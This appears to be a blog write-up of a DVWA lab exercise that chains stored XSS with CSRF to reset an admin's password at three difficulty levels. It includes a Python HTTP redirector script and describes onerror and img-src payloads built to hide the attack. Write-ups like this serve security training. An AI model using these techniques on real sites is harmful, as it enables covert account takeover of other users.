Home CSRF + Stored XSS - DVWA
Post
Cancel

CSRF + Stored XSS - DVWA

This is an exercise in OWASP DVWA where I chained Stored XSS with CSRF.


CSRF and Stored XSS - DVWA


For this challenge, we will be chaining the CSRF vulnerability with stored XSS vulnerability since there is no other way to make another user in the application interact with our payload. We will be using the account of smithy, whose password is password, to target the user admin, which I am logged into in a private window.


Difficulty: Easy


For this mode, we are presented with a simple password reset form;

Note that the form does not ask users to input their current passwords, and no CSRF token is used. The data is also submitted in a GET request, which will make it more convenient to exploit;

As the user smithy, I added a stored XSS payload that will reset the password of any user that visit the page to hacked;

Going to the page as the user admin, we got some broken image thumbnail;

So I tried to login using admin:hacked, and it worked!


Difficulty: Medium


Again, we were presented with the same form with no CSRF tokens or requirement to input current password. Attempt to exploit stored XSS in the txtName gave an error;

Doing it in the mtxMessage field blanked out the body;

Since the txtName field is only complaining about the length of the input, we could exploit this by setting up a short URL that redirect to our target URL. So I built a simple python program that can handle the redirect;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/python3
#-------------------------------------------------------
# A simple script for setting up a static HTTP redirect.
#                      Author: https://4g3nt47.github.io
#-------------------------------------------------------

import sys, socket, threading

# Called in a separate thread. Handles the redirection.
def redirect(conn, target_url):
  conn.recv(9999)
  conn.send(f"HTTP/1.1 302 Found\r\nServer: Apache/2.4.38\r\nContent-Length: 0\r\nLocation: {target_url}\n\r\n\r\n".encode())
  conn.close()

# Our main function.
def main(lhost, lport, target_url):
  # Create the socket server.
  s = socket.socket()
  s.bind((lhost, lport))
  s.listen(100)
  print("[*] Listening....")
  while True:
    try:
      conn, addr = s.accept()
      # Spawn a thread for the client.
      print(f"[*] Redirecting {addr[0]}...")
      t = threading.Thread(target=redirect, args=(conn, target_url))
      t.start()
    except KeyboardInterrupt:
      s.close()
      break

if __name__ == '__main__':
  if len(sys.argv) < 4:
    print(f"[-] Usage: {sys.argv[0]} <lhost> <lport> <target_url>")
    exit(1)
  main(sys.argv[1], int(sys.argv[2]), sys.argv[3])
  exit(0)

Testing it locally with curl, my program seems to be working;

Now we can set our stored XSS exploit to redirect user to our HTTP redirector, which will further redirect to our CSRF URL. The first redirect can be achieved using <img> tag with a broken URL that executes the JS code defined by onerror;

Going to the XSS page as admin, our exploit was triggered;

The password reset worked, but the exploit is very obvious. So I tried doing it with the payload <img src='<my-redirectors-URL>'/>, and it worked. This is much more stealthier since target is not visibly redirected.


Difficulty: High


Same password reset form as the previous levels, and the XSS payload used in [[#Difficulty Medium]] worked for this level too;

Going to the stored XSS infected page changed the password of admin to hacked3.

This post is licensed under CC BY 4.0 by the author.
Contents